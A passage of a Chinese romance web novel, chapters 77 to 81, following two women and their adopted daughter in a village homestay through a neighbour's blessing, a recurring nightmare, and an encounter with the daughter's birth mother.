刘武说刁点好,“瘟了要被欺负。” 沈新月昂首,“就是!” 这天晚上,江有盈请所有到场的人去村口饭馆吃火锅,也是沈新月提议的,要做这么多人的饭,心疼她忙不过来。 江有盈带头走在路上,知道事情大概经过的村民问她有没有受伤,几个跟外婆关系好的老太太围上来,叽叽喳喳的。 她在秀坪住了好几年,村里大事小事,能帮上忙的都尽量帮,是什么为人,大家自己长了眼睛会看。 途中,卖咖啡的小安和做泥瓦的小曹也赶来,只是迟了半步。 “一起去吃饭。”江有盈招呼。 小安一口答应,“那好,你们详细跟我说说,现场到底什么情况。” 一帮人热热闹闹坐了四五桌,沈新月忙着点菜,买酒和饮料,江有盈坐在靠窗位置,到现在还有点恍惚。 好多人啊,好多人…… 都是来帮她的,不是今天这件事,她都不知道自己人缘这么好。 王家人还会再来吗?大概不会,但即便再来,也无需恐惧。 江有盈静静靠在椅背,看周醒跟小安和小曹绘声绘色描述,刘武还在安抚星星她太奶,“万一刀被人夺走?” 老人家嘴里翻来覆去只有一句,谁动我家人我砍死他。 外婆笑她,“你可真威风”。她说我当然威风。 江启明被程意和丁苗她们拉着说话,夸她眼睛大,长得好看,提及她身世,难免唏嘘。 “那些亲生的,没我过得好的多了去,我跟妈妈关系可好,我们像姐妹一样,什么都说!”江启明骄傲。 “那你以后也会变成女同吗?”程意见一个撩一个,“你好帅气,好勇敢,好智慧好冷静,简直天菜,我好喜欢——” “哎呀你这人。”江启明双手捧脸,“你把我说得都不好意思了。” 江有盈视线慢慢滑过在场众人,直到沈新月点完菜回到身边。 “哎呀累死我了。” 给她倒了杯椰汁先喝着,沈新月察觉到她异样,歪头,“想什么呢?” 江有盈笑一下,轻轻摇头。 累啊,是真累啊,吵架吵得累,也在笑着,喊着,开心的累。 其次是幸福,太阳暖暖照在身上,平凡的幸福。 第78章 热闹持续了很久,像一把亮晶晶的水果糖,从饭桌顺着石板路抛撒得遍处都是,叮叮当跳进院门,蹦跶上楼,直到进房间终于安心歇下。 沈新月摔在房间小沙发,老电扇吱扭扭左右摇头,她掀起衣摆,让风摸遍全身,仰望天花板,长出一口气。 “可累死我了。” 陈阿婆腿脚不好,跟江启明的房间在一楼,江有盈在下面给她们收拾,周醒还兴奋着,院里蹦蹦跳跳,“阿婆好厉害,拿菜刀把坏人吓得吱哇乱叫!” “你要不要洗澡啊?”孟新竹楼上喊。 周醒抬头,夕阳渐沉,天空半冷半暖,“时间还早呢。” “满地打滚浑身弄得脏死了,赶紧给我滚上来。”人说完就走。 “哎呀你凶什么,我就来了嘛!”周醒还是老实。 刘武吃完饭,小曹约他去野钓,假期接近尾声,丁苗和程意说没体验过,跟着去了。 沈新月沙发上躺了会儿,走出房间,又走出办公室,手撑栏杆往下看,院里就剩外婆和陈阿婆,还有星星。 她返回卫生间,先洗把脸,又重新梳了头,对镜整理个差不多才下去。 “这是嘟嘟姐。”江启明跑来牵她手。 沈新月揪着衣摆慢吞吞走过去。 “小家子气气。”外婆白眼,恨铁不成钢。 江启明跺脚说“太婆你别训她”,把沈新月牵到太奶面前。 “阿婆。”沈新月傻笑,“好久不见。” 小时候她常来隔壁找李致远辅导作业,老太太开玩笑问“你是笨妞妞吗”,连两位数加减法都算不来,她记仇,在人背后做鬼脸。 命运啊,谁成想,她将来有一天跟老太太孙媳妇勾搭上了。 “是嘟嘟啊。”陈阿婆跟她还是有几分旧情的,“长这么大了。” “你坐,你坐。”江启明在旁边张罗。 沈新月小心翼翼落座,外婆越看越气,朝她后背就是两巴掌。 “干嘛!”沈新月痛扭成一团。 “哎呀别这样。”江启明展臂护着。 “你好好的嘛。”外婆说。 沈新月反手抓背,“人家陈阿婆都没说什么,你又唱又跳的,我不要面子了!” 外婆冲她使劲眨眼。怎么说呢,我自己家小孩,再不对,我来教训,我抬手先给她两巴掌,打老实,外人就不好再动手。 可老辣如陈阿婆,又岂会看不出,“就别在我面前装样儿了,都是千年的狐狸,跟我玩什么聊斋。” 外婆冷哼,干脆挑明,“反正情况就是这么个情况,就算你不同意,暑假结束,你也得回市里带孩子,管不了。” “我说管了吗?”陈阿婆侧身看去,“我什么态度,你又知道了,你以为你很了解我?” “我不了解?”外婆指着自己鼻尖,“我们在一起生活几十年,我不了解?我不了解谁了解。” 陈阿婆嘴角微嘲,“别说只是邻居,两口子天天搁一个屋睡觉,还有个成语叫同床异梦呢。” “你想跟我睡一块?”外婆问。 沈新月眯眼,啥意思。 “我没说跟你睡一块。”以前大概是睡过的,陈阿婆缓了缓,补充,“那是老房子下雨漏水,没得办法。” 东拉西扯,几十年前的旧账翻出来,沈新月渐渐听不懂,只觉暧昧。 比东弟带的那帮人跟王家几口胸贴胸脸贴脸还暧昧。 江有盈收拾完房间,抱着换下来的铺盖出来扔洗衣机,沈新月弯腰站起,左右瞄一眼,见两个老太太吵得火热完全没注意到她,才大着胆子起身小跑离开。 “可以了。”江启明冲她挤眼。 这是通过的意思吧?沈新月点点头,还没来得及高兴,身后陈阿婆“欸”一声又把她叫回去。 陈阿婆走到院门口招手,“你跟我上屋外头来,我跟你说两句。” 沈新月下意识看向江有盈。 “没事,去吧。”江有盈道。 沈新月放下心,跟着老太太出院子,反手把门带上。 不走远,屋荡头菜畦那,陈阿婆顺手在棚子底下抓了把小镰刀,闲不住,野草贴地一把把割下来。 沈新月想帮忙,是个讨好卖乖的意思,手伸出去,被老太太拨到一边,“不用,地上怪多泥的。” “哦——”沈新月抓抓脸蛋,有点尴尬。 兵来将挡,水来土掩,如果老太太要逼她们分手,就像外婆说的那样,她管得了一时还管得了一世? 已经分过一次,好不容易和好,不可能因为老太太不同意再分第二次吧?她铁定不干呐。 至于江师傅的态度…… 沈新月一时拿不准,反正先把自己态度表明。 “我没不同意你们谈恋爱。”陈阿婆知道她担心什么,先把话挑明。 沈新月一听,果然来劲,快走几步跟上去,“我会对她好的。” “我知道你是个好孩子,也知道你一直都是跟女生谈恋爱,你妈就是嘛,当年你妈离婚,闹得多大,那些事我都知道。” 菜畦尽头,有张不要的木板凳,陈阿婆走过去坐那,小镰刀放在一边,花白头发夕阳下泛金。 沈新月衣摆绞出两个大疙瘩,穿一双塑料凉拖站在田坎边,哪里还有半分初到秀坪时的都市俏佳人模样。 嘟腮噘嘴,活脱脱村口二傻子。 “你长得挺老实的。”陈阿婆评价道。 沈新月一时分不清是夸是贬。 说正事,陈阿婆轻咳一声,“满满以前那些事情,你都知道吧?” 下意识挺背,沈新月表情严肃,“以前不知道,但最近我们关系有进展,她就全告诉我了。” “什么进展?”陈阿婆立即问。 完了,怎么跟审犯人似的。 沈新月从不撒谎,打算从头说起,不过在此之前先摆明立场,“阿婆,我是真的很喜欢她,才想更深一步了解她,我的事她都知道,可她的事我……” “所以闹分手了。”陈阿婆打断。 看来老太太什么都听说了。 沈新月闭嘴,点头,又张嘴,“但现在我们和好了,今天王家人来闹事就是我摆平的!” 顿了顿补充,“还有我的朋友,她们都觉得她很好,支持她。” 陈阿婆静静看着她,目光审视。 沈新月噼里啪啦讲了一大堆,冷不丁对上她视线,小辈子对老辈子本能的敬畏,不说了,给自己嘴巴拉上拉链。 陈阿婆冲她招手,“别紧张。” 沈新月很难不紧张,心里乱得很,懒得费心去猜,“您老人家是不同意我们在一起吗?” 陈阿婆没应,只道:“准确讲,江满满从小到大是第一次谈恋爱,她以前……” 话讲一半,老太闭眼,长叹一声,“算了”。 她起身拍拍沈新月肩膀,“人嘛各有各的福气,你是个好孩子,多的我不说了,你自己能懂。” 沈新月似懂非懂。 她回房间沙发上趴着,琢磨菜畦里两人那番对话,总结出两点。 首先老太太并不反对她们在一起,所以把她叫出去,是想交待两句;其次就是交代的内容,说了一半又不说了,不知是碍于她们的邻居关系,还是江有盈过去的经历实在不好重复…… 总之是个提点的意思。 江有盈忙完回房间,天已黑透,她打开房间大灯,沈新月冷不丁被刺了眼睛,坐起来。 “怎么了。”江有盈摸摸她头,“闷闷不乐的。” 沈新月抓来她手贴在脸颊,那触感温润,“没,老太太人挺好的。” “她不会反对我们在一起的。”江有盈在她身边坐下,“叫你出去,是想跟你交代几句,我的事你也知道,她是好心,怕我被人嫌弃。” “我怎么可能嫌弃!”沈新月受不得被冤枉,拔高音量。 江有盈笑着说“知道”,“你最好了。” “即便没有苦衷,你日常言行,我自己观察判断,也肯定你是一个好人。”沈新月相信自己的直觉。 沉了口气,江有盈沙发上摆正身体,“就像你说的,她是我没有血缘关系的亲人,跟星星一样。她对星星好,对我也好,星星上小学那年,问我要不要改嫁。” 那时候江有盈还不知道有沈新月这号人物,她们一家三口搬去市里,她最多也就去长水门店里看看,不怎么回秀坪。 不然她们早就遇见了。 “那你没答应吧。”沈新月目光警惕。 “你猜。”江有盈脸上惯常那种戏耍人的笑。 沈新月撇嘴,“猜你一胎十八宝。” “母猪也生不了那么多。”江师傅始终游刃有余。 “什么意思嘛!”沈新月大声表达不满。 “没有没有没有!”江师傅也恼了,“处子之身!完璧归嘟!” “哈哈哈哈哈哈哈——”沈新月踢飞拖鞋,笑倒在她大腿。 完璧归嘟,太可爱了。沈新月开心得直蹬腿。 江有盈手指绕她头发玩,“都说知足常乐,我那时候想,还缺什么呢?钱有了房子有了,不用经历生育的辛苦,小孩也有了,我什么也不缺,老天欠我的都补给我了。” “现在还有你。”她视线低垂,眼中无限温柔,浓如蜜,“人生完美。” “可是可是……”太幸福了,幸福得让人害怕,感觉不真实。 沈新月开始作妖,“可是我还没有同意和好呢!” 江有盈目光始终柔和,配合她玩耍,“娇嘟嘟大小姐,还有何吩咐呢?” 沈新月暂时想不到,“反正我还没完全消气。” 江有盈大方说“没事”,起身倒了杯水,“我们来日方长。” 放下水杯,回头,“对了,你那个前女友呢,怎么晚饭后就没见人。” “跟刘武钓鱼去了。”沈新月不假思索。 “哦——”江师傅表情意味深长。 沈新月愣了几秒,啊啊大叫着扑过去,“不许!你只能喜欢我!” 第79章 也许是白天事情太多太杂,江有盈前半夜睡得昏昏沉沉,快天亮开始做梦。 她总是梦见妈妈离开后,她逃亡至江城那段日子,不知警察什么时候会找来,不知还该不该听妈妈的话,继续跑,跑得远远的谁也找不到。 梦中的自己,短暂蜗居在江边小旅馆,房间昏暗拥挤,只有一扇小小圆圆的窗。真是巧,旅馆房间竟有这样一扇窗,一轮永不欠缺的月亮。 窗口正对江面,房间可以听到货轮悠长的鸣笛声,日夜不休。 她无法入睡,一旦闭上眼,脑海中浮现的画面,反反复复是飞溅的血液、脑浆和碎肉。缀挂在她的睫毛,眼皮沉甸甸怎么也睁不开。 胸口憋闷,喘不过气,梦中奋力挣扎,睁开眼,看见王志勇那张死不瞑目的脸,他的尸体还压在她身上。 哭喊着醒来,尖锐鸣笛声刺穿耳膜,抬头看见房间的圆窗户,绝望潮水般涌来,直至灭顶。 不是早就自首伏法了吗?怎么回事,不是早就长大了吗?为什么。 她连连往后退,那具尸体好像从她身体里长出来的,怎么也推不开,开始剥夺她的氧气,汲取她生命的能量,试图重生。 窒息,快要窒息。 身体自我保护机制,终于,江有盈大喘着睁开眼睛,噩梦中挣脱。 金色晨光,隔窗更筛滤得温柔,老电扇吱扭扭尽职转动,纱帘云雾飘飞。 鸟儿啾鸣,树儿沙沙,大风从山峦、田野和小河边刮过,房间里打了个转,问候。 这样一个无忧无虑的清晨,目下清朗,身边熟睡。 “是你啊——”江有盈没有发出声音,指尖触碰在沈新月红润饱满的腮。 不是鬼压床,是嘟压床。 感觉有点痒,沈新月自然睁开双眼。舒适的环境,平稳的心情,身上睡得热烘烘软绵绵,哼唧几声,她脸贴在她心口蹭蹭,隔着揉皱的棉质睡裙咬,鼻尖依恋相蹭。 不经意抬起脸,视线却捕捉到一张泪流满面的脸。 沈新月登时清醒大半,分膝趴跪在她身前,“你怎么哭了!” 眼泪在鼻梁那积了一小洼,江有盈偏过脸,全倒在枕头。 “你压着我,吓到我了。” 沈新月不明所以,却不敢忽视,以为自己真把她压瘪,急忙去揉她胸口,像捏两朵棉花糖,试图复原。 “哎呦走开——”江有盈被她弄得又哭又笑,“大早上,耍流氓。” “我没有。”沈新月认真解释,“你说压到你嘛,我帮助你回弹。” 钳住她双手,不许乱动,如把玩一只超大号抱枕,江有盈双手把她抱在怀里,手脚交叉搂得死紧,“是做噩梦了。”* 沈新月听她细细讲来,原来她常做类似的梦,每次都吓得浑身的泪和汗,多年来饱受折磨。 “要不要看心理医生呢?”沈新月提议。 江有盈摇头,“我可以自己调节好。” 自己能调节好,怎么还时不时做噩梦,沈新月猜想,她或许是怕麻烦,也不愿把心事过多暴露。 “那我们去江城吧。”沈新月又道。 “故地重游,这次有我陪着,我们用好的记忆覆盖掉坏的记忆,如果你再做噩梦的话,梦里说不定会多出一个我,那样我就能保护你了。” 她的眼睛那么黑,那么亮,如质地上乘的和田墨玉,珍贵难寻。 江有盈再次落泪,泪珠滚落在耳鬓。 “哎呀不哭不哭。”沈新月噘嘴想亲又不太好意思,掩唇笑,“我还没刷牙。”只有手指轻轻替她抹去。 “民宿怎么办。”江有盈带着哭腔。 “外婆,阿婆,还有星星,不行我们村里雇个临时工,打扫房间。”这些很容易解决。 起床,上午煮馄饨吃,沈新月把招工的任务交给外婆,周醒听说她们的安排,很高兴,“那我们可以一起走!路上就不寂寞也不难受了。” 几天下来,诸人感情愈发深厚,尤其经过昨天那场战役。 丁苗哀嚎,“我不要上班啊——” 程意用小勺从她碗里偷了两个馄饨,“你这几天也没闲着。” 丁苗说那不一样,“有你们在身边嘛。” “秋天我跟暴暴找机会再来。”孟新竹很喜欢这里,“我们去打野,秋天山上肯定好多野板栗。” “还有野核桃,拐枣和野猕猴桃。”江有盈冲她笑一下,“期待你们再来。” 都得走了,几天下来工作积攒一大堆,纵有万般不舍,也要各自回归生活。 下午外婆带来一位四十出头的大姐,笑吟吟,面目和善,江有盈带她参观民宿,简单交待工作内容。 “订房的事你不用操心,有我女儿,她懂很多。” 江启明坐在办公室电脑前玩植物大战僵尸,拍拍胸脯,“我是小老板。” 大姐看她脸貌,眯起眼睛,感到熟悉,“你……” 预感到什么,江有盈拉着人继续,“我带你去看洗晒床单的地方。” 楼下,沈新月正把被打碎的几盆花重新栽种,江有盈给她递了把小铲,“你忙完带星星去采些荷花吧,送到镇上,给朋友们寄回家去,她们到家,花正好也到,插在花瓶里,漂亮。” 沈新月“哇哇”喊叫出声,“这么浪漫!” “你都有她们地址吧?”江有盈又问。 沈新月“嗯嗯”点头,“我们经常互相寄东西,你心真细。” “嘘——”江有盈竖指,回头看一眼楼上,“别让她们听见了。” 沈新月悄悄上楼喊了星星出门,江有盈继续带大姐参观。 大姐回头看一眼院门口一大一小,尴尬笑笑。 小院里里外外看个遍,江有盈最后领着大姐去了办公室聊待遇,工钱不低,如果沈新月在现场,肯定要闹。 起初,江有盈给沈新月开的工资确实不高,有故意把人留在身边慢慢还债的意思。邪恶小寡妇城府颇深。 现在嘛,沈新月工资不变,但提成高,她也不是傻的,常变着法要钱,说什么床上补贴,还有精神损失费。 大姐连连点头,日薪完全在她预料之外,“我肯定好好干。” 江有盈最后补一句,“既然在我们家干活,心就得向着我们,这不难做到吧。” 她话里有话,对面一下就听懂了,犹豫半晌,嗫嚅着,“就是,你家那个小姑娘,叫星星对吧?还是什么启明的。” 江有盈倏地转过脸,面色阴寒。 “哎呀——”她一拍大腿,“孩子亲妈,就住我家隔壁,暑假回来了。” 一个是邻居,一个是老板,大姐也为难,“反正你注点意。” “让她来。”江有盈淡淡收回视线。 经过昨天那场闹剧,她的威名十里八乡恐怕都传遍。 “让她试试,有胆就来。” 沈新月开着三轮带星星去采荷,刚把小船放下去,有个女人朝她走过来,问能不能帮她采一朵。 “当然没问题。”荷花粉的白的都有,沈新月问她喜欢什么颜色。 女人穿一身白裙,看着也就三十出头,脸圆而小,眼睛却很大,颧骨处小块的妊娠斑,应该已经当妈了。 沈新月忍不住仔细去看她脸,心里说不上什么感觉,就是熟悉。 女人察觉到了,将鬓边碎发勾去耳后,冲她腼腆笑一下。 “你是本地人吧。”沈新月跳上小船,准备往荷塘深处走。 女人追到岸边,不知怎么想的,竟也跟着跳上去。 她站立不稳,沈新月扶了她一把,猛一下想起什么,“你是小莲吗?” 对方惊诧抬头。 沈新月确认了,“真是小莲啊,我是沈新月!秀兰阿婆家的!” “娇嘟嘟?”小莲认出她。 沈新月欢喜同她抱在一处,“真是你,好多年不见了!没想到竟然在这里碰上。” 是幼时的玩伴,常相约去小河边摸鱼,水田里捉青蛙,果林学孙悟空摘桃,吃一个丢一个,干了不少坏事。 掰着手指头算一算,大概有二十年没见。 沈新月忘了带剪刀,叫星星回去拿了,也不着急,拉她在船上坐,回忆小时候那些趣事,又询问她近况。 “小莲你过得好吗?” “还成。”小莲说她结婚了。 意料之内,沈新月看她精神面貌还不错,“那你幸福吗?” 小莲轻轻点头,又面露紧张,“听我妈说你破产了,还欠很多钱,要紧吗?” 沈新月满不在乎摆摆手,“千金散尽还复来,我现在过得比以前开心呢!” 小莲欣慰,“开心就好了,钱嘛,生不带来死不带去的。” 沈新月邀请她晚上去家里吃饭,“我下厨做啤酒鸭,我的拿手菜。” “嗯——”小莲犹豫,“我还有家人。” 沈新月阔气得很,“一起叫来,几双碗筷的事情。” 小船漂浮在水面,没有方向,也不急着寻找方向,她们一番畅聊,说得最多还是小时候那些事,欢声笑语摇晃在碧叶间。 直到岸边传来呼唤。 “嘟嘟姐,娇嘟嘟,你去哪里了!” “哎呀,我闺女找来了。”沈新月翻身坐起。 “你也有小孩啦?”小莲惊奇。 “白捡的,嘿嘿——” 沈新月摇浆靠岸,“她回家给我拿剪刀去了,等我给你剪上一大捆。” 池水拍岸,浮萍荡碎,江启明手里握个甜筒正舔,迫不期待把另一个递过去,“要化了,快。” “我给你介绍一下,这是我小时候最好的玩伴,我们快二十年没见,真没想到今天能碰上……她叫小莲。” 沈新月率先跳下,船绳固定在岸边木桩。 江启明顺势看去,视线在半空交汇,她忽然愣住。 船上小莲也怔怔看着她。 第80章 沈新月接过甜筒撕开包装开始舔,快乐得像个孩子。 她身边那位真正的小朋友却神情凝重,手里剩的半截甜筒皮发软发棉,吃不下,扬手丢进鸭棚。 “你好啊。”小莲提裙落地,笑盈盈主动跟江启明打招呼,“我姓宜,宜人的宜,单名一个莲字,你叫什么呀。” 江启明摇头,往后退了一步。沈新月蹲在田坎边吃甜筒,她跑过去搂住她脖子,大声喊“妈妈”。 小莲尴尬,沈新月满脸惊奇,“干嘛,吃错药啦。” 往常都是喊“嘟嘟姐”,沈新月一下适应不过来,“别叫妈,把我都喊老了。” 江启明把脸贴在她肩窝,小嘴一动一动,“我叫你妈妈,说明认可你呀,你还不开心呐?” “开心呀,开心,哈哈——” 沈新月傻乐一阵,继而想到什么,“你不会是想跟我要钱吧?我可没钱,我零花钱都是你妈给的,找你妈要去。” 顿了顿又想到什么,“按理说不应该呀,你是小网红,肯定比我有钱。” 江启明手指玩着她头发,“你也是我的妈妈呀,我可喜欢你了,妈妈喜欢你,太奶喜欢你,如果李致远在也保管喜欢你。” 沈新月唇周一圈白白的奶油,从她随身的小包里摸出张纸擦了,笑得,“那你妈真就实现一妻一夫了。” “你不是我亲妈,却比我亲妈还亲。”江启明贴着沈新月耳根,话却不是说给她听的。 小莲紧紧咬唇,起初的震惊和怀疑过后,是羞惭、懊恼。 江启明一下就认出她,那么聪明,只一眼就确定。她却没勇气认。 “随便你怎么说,反正我没钱。”沈新月咬了口甜筒皮,她这个是脆的。 “我没跟你要钱!”江启明气得捶她。 “那你想干嘛。”沈新月快速啃完甜筒,提着剪刀要下水剪荷。 泄气,这个妈妈好笨。 江启明摇头,“我不干嘛,就是太久没见面想你,我们一起吧。” 沈新月站起来抻抻腿,把江启明搂怀里冲着小莲笑,“我家小孩黏人。” “妈妈我爱你。”江启明死死环住她腰,仰脸,眼睛睁得大大圆圆,“我最黏人了。” 沈新月跳上船,给小莲剪了一大把荷花,“那说好晚上来家里吃饭,我下午还有事要忙,先不陪你了。” 小莲身材也小小,怀中花束几乎压垮她,她说家里放不下,最终只取一朵。 沈新月过于热情,使劲往她怀里塞,她不肯要,江启明旁边开口,“太多就是负担了,人家不要你干嘛还强塞啊。” 小莲霎时脸色惨白。 沈新月一点没听出小孩姐的言外之意,被训,老实巴交说“好吧”。 “我家里放不下……”小莲弱弱解释。 “我知道啊。”江启明扒拉下额头碎发,“放不下就丢了呗。” 小莲垂眸不语。 “没丢。”沈新月指一下船上剩余的荷花,“待会儿我们拿去镇上寄,给姐姐们。” 江启明忍不住冲她翻了个白眼。 只可惜沈新月没瞧见,捡了船桨要去剪花。 “等一下!”小莲快走几步,脚下布鞋陷进塘边烂泥。 江启明平静看着她。 沈新月回头,“怎么了?” “不是要去采花,快点划,再耽搁快递站下班了。”江启明催促。 话音刚落,又听见小孩喊“妈妈”。 沈新月好奇探身,田坎尽头,一个四五岁大的男孩举着胳膊跌跌撞撞跑来,后面还跟着个男人。 “你丈夫啊?”沈新月问道。 小莲退后几步,江启明背过身去。 “妈妈。”小男孩扑进妈妈怀里,习惯性动作,小莲顺势将他抱起。 沈新月送的荷花落在那小孩手里,花瓣被扯掉两片。小莲低斥,说“不可以”,小孩犟,继续撕扯,好好一朵花没几下就摧残得不成样子。 “你还要送人家花,你看她在乎吗?并不是所有人都爱花怜花的。”江启明烦了,“快点走行不行。” 顾忌她情绪,沈新月不再啰嗦,小船消失在重叠摇晃的碧浪间,人声渐渐远了。 “她那小孩太熊,跟你比差远了。”沈新月可惜了那朵花,她千挑万选的呢,“我不喜欢男孩,还是女孩好。” 毫不意外,再次收获江启明白眼。 “男孩子可以传宗接代嘛,你懂什么,人家有皇位有继承的。” 沈新月奇怪,“你老瞪我干嘛,还有,干嘛冷嘲热讽的,你讨厌小莲吗?” “懒得跟你讲。”江启明小包里掏出另一把剪刀,“赶快干活了,你不是还要下厨请人家吃饭,做啤酒鸭。” 两人采够花开着小电三轮去镇上,赶在快递站下班之前把花寄出去。 回程路上,沈新月发现车没电了,在芳芳姐饭店门口接了插线板充,芳芳姐听说她在卖花,央她下次带几朵来。 沈新月爽快应下,芳芳姐开玩笑,“不收我钱吧。” “你整天到处送人家花,人家都不要,还硬送。”江启明拆台。 芳芳姐分了她们两把瓜子,下午没生意,店门口闲嗑,“你俩关系好。” 沈新月说之前还可以,“今天不知道怎么回事,老怼我。” “因为你蠢呗!”江启明没好气。 沈新月摆摆手,“我最近心情好,不跟你计较。” 又问芳芳姐,“最近生意怎么样?” 芳芳姐笑着说“还行”,捏捏她肩膀,“你最近呢,瞧着晒黑了些。” 沈新月“啊”一声,上下摸脸,“不能吧。” 芳芳姐说确实黑了,“但瞅着精神,有劲儿,比你刚来那时候看着招人喜欢。” 沈新月一向好哄,“听起来还不错。” 她感受不到自己的变化,外人看来却几乎换了个人。 芳芳姐还说一直担心她待不长,“没想到一晃就是半年。” “岂止半年,还有半辈子呢。”沈新月看小三轮充个差不多,够回家,插线板给她放回店里去,招招手走了。 开车回秀坪,到小院已经是下午六点,沈新月带了三只市场上宰好的鸭子,进院先把鸭肉倒盆里泡泡血水,让江启明出去买几罐啤酒。 “看你二妈我今天大展身手。” “逛菜市场的时候干嘛不一起买。”江启明摇椅上躺着,不乐意去。 “是娇嘟嘟家吗?”门口小莲来了。 “妈妈我去买啤酒了。”江启明抬屁股就走。 沈新月“嘿”一嗓子,“变脸够快的。” 擦身而过之际,小莲喊了声“星星”。 头也不回,马尾飞扬,江启明转眼就在巷口跑没影。 “星星!”小莲追出几步。 “有事吗?”身后清冷女人声线。 小莲回头,江有盈提着菜刀站在院门口。 “咦,你来啦,还要杀鸡吗?”沈新月跟出来看。 “你不是买了鸭。”江有盈进院,菜刀摔在茶桌,叮哐响。 沈新月一点没看出来江有盈情绪不对,“鸭子砍好的呀,你以前还在活鸡店打工呢,这都不知道……我跟你说,鸭子好吃,肥!鸭子油多,炒出可香了。” 她给两人分别倒茶,“我介绍一下。” “不用。”江有盈大刀阔斧往那一坐,“江启明亲妈,宜莲,我跟她的关系某种程度上来说,比你深。” 一个亲妈,一个养母,中间连着个小孩,确实关系匪浅。 沈新月现在才反应过来,“啊”了一声。 “小莲?小莲你……”她不知该说点什么。 “去把门闩上。”江有盈吩咐。 沈新月依言照做,闩了门回头,见江有盈脸色不善,以为她要把小莲按地上揍一顿,转念一想,不对,江启明出去买啤酒了,应该是怕她待会儿回来撞见。 “孩子认出你了,跟我说你晚上要来,所以我来见见你,你有什么诉求,可以直接跟我说,户口上,她是我亲生女儿,我是她合法监护人。” 江有盈不啰嗦,直接亮底牌。 “啊?”沈新羽满脑袋问号,“啥时候认出来的,我怎么不知道?” 怪不得一整天,江启明看她鼻子不是鼻子,眼睛不是眼睛。 凑近些,细瞅,“你别说,长得是像,尤其眼睛。” 小莲始终低垂着头,不说话。 “你要跟我们抢孩子吗?”沈新月不懂就问。 “可你不是已经有孩子了,那个男孩,你现在的丈夫估计也不同意吧。” “她们同不同意有用吗?” 江有盈冷嗤,“跟我抢孩子,我可是杀人犯,不想活了大可来试试。” “我没有想跟你抢孩子!”小莲忽然大吼出声。 她眼泪扑簌扑簌掉,“我知道是你,是你捡了她,河边芦苇荡,我们见过,我也一直知道你住在江城,后来又回秀坪开民宿,你把她养大她就是你的,我没有资格,也没有条件……” 说不下去了,小莲“呜”一声,脸埋膝盖。 “我只是没想到,她都长那么大了。” 孩子给人家养得又聪明又漂亮,她自己不要的嘛,芦苇荡江有盈问过她的。 ——“欸,你还要不要。” 小孩皱巴巴,血了呼啦,野鸭满地生蛋还知道孵,她下那就不管了,听见动静,提起裤子躲到一边去。 “可那时候我才十九岁,我没有能力,我妈也不管。” 她十指收紧,死死抓头,忽地起身,“噗通”一声跪到江有盈面前。 “哐哐哐”三个响头,让人猝不及防,随即起身哭喊着拨了门闩跑出去。 江启明蹲在外头,塑料袋里的几罐啤酒搁在脚边,低头,正抠着自己凉鞋上那朵布艺小花。 再一次,她们视线相遇。 小莲额头沾着灰,眼泪粘黏发丝,脸上乱糟糟的。 她忍不住朝她走过去。 江启明提起塑料袋冲进院门,一头扎进妈妈怀里。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第 81 章【VIP】 第81章 约好的时间是早上七点,众人楼下集合,来的时候明明没带多少行李,走的时候箱子确实也还是那几个,一颗心却沉甸甸,满是眷恋。 丁苗提着电脑包“呜呜”连唤不舍,“我每天在这棵樱桃树下办公,效率超高的,现在要回到办公室,那里一点绿色也看不到。” “既然你在哪里都可以上班,干脆留下。” 程意本意是嘲讽,丁律师答应给人拍照,电话却没完没了,去野钓,河边一惊一乍把鱼都吓跑。 丁苗没听出来,认真思索几秒,“那估计过不了多久,我就真的只能喂鸡采荷了。” “躺平也是有条件的,你以为想躺就躺。” 周醒问:“你有农村户口吗?在农村在宅基地吗?而且不是所有农村都跟秀坪一样,秀坪古镇来的。” “即便你租住在秀坪,你能接受环境带来的变化吗?没有外卖,商场,日出而作日入而息,收发快递得开车去镇上,还有医疗和持久的经济支柱等。”孟新竹补充。 丁苗泄气,“我做不到,我是个俗人,爱浮华,爱虚荣。” “你呢?”周醒手握拳假装捏个话筒,采访沈新月,“你是怎么做到的。” 竹子说的是事实,沈新月不敢吹牛自己有多高的觉悟,看破红尘,“我是混得不好,没办法。” 谁不爱浮华虚荣,若不是穷得连吃饭都成问题,负债几百个,她想不到回老家。 农村基础建设跟城市存在巨大差异,无论是谁,从哪一个环境的过渡都需要时间,还要有良好心态支撑。 “不过有句老话怎么说,既来之则安之,我很享受现在的生活,那些在旁人看来的不便在我看是趣味。” “姐妹儿升华了。”程意给她竖大拇指。 “那江师傅呢?”周醒话筒递旁边。 “我混得更差。”江有盈没拿行李箱,登山包往肩上一甩,“逃犯来的嘛。” 她适应能力极强,甚至开始拿过去那些事开玩笑,遇着难搞的家伙,张口杀人犯闭口杀人犯,看谁敢惹她。 “不许胡说,你们都很好。”竹子温柔。 “那你俩谁混得最差。”程意挑事。 “必然是嘟了。”周醒大声,“她现在是个彻头彻尾的软饭女,连人家小孩姐的存款都比她多。” 沈新月无可辩驳。 跟家里的老人和小孩道别,两部车,丁苗的和周醒的,六人足够。 程意要赶飞机,搭丁苗的车先走,沈新月和江有盈在周醒车上,本要直接上高速,沈新月说有件重要的快递得去拿,周醒多绕了段路带她去镇上。 “什么东西非得现在拿。”江有盈手搭车窗好奇问。 沈新月摇头不说话,背对人拆盒子,拆完东西手紧紧捏着,揣兜里,上车。 周醒忙着调头,没多问,竹子一向体贴,乖乖坐在前座,不打扰。 等车开出一阵,沈新月神神秘秘抓来江有盈手,东西塞过去。 江有盈摊开手心。 手机四分之一大小,方形的屏幕,组合按键,外带幅圆孔插头的有线耳机。 “MP4啦——”沈新月给她戴上耳机,开机播放歌曲,“我在二手平台上淘的,跟我上学时候用的那个一模一样。” 耳机一人一半,机器年代久远,乐声低沉嘶哑却别有韵味。 江有盈失笑,是那首,紫色很有韵味。 屏幕滚动播放歌词,第一遍副歌放完,江有盈握住她温热的手掌。 “怎么想到买这个。” “你说没听过嘛,很简单,别人有的,我希望你也能有。” 沈新月靠在她身边,找下一首,“听听周杰伦怎么样?初中下晚自习回家路上,我最喜欢听的,希望我给你的补偿没有太迟。” 补偿,这是老天给她的补偿,没错。 不迟,她青春正好。 江有盈放松身体,她们额头相抵,听耳机播放周杰伦的《晴天》,多好,车窗外也是多好的一个晴天。 六七月,早稻成熟,田野间一片焦灿,天那么蓝,蓝得满不在乎,又有满不在乎的云无所谓地飘,无所谓风把它们带到哪里去。 江有盈靠在她肩膀,想起刚捡到江启明的那年,也是她第一次见到沈新月的那年。 其实她们很早就见过了。 芦苇荡里捡来的小孩身体不好,秀坪医疗条件有限,李致远死没几天,老太太就把孩子带市里去了。 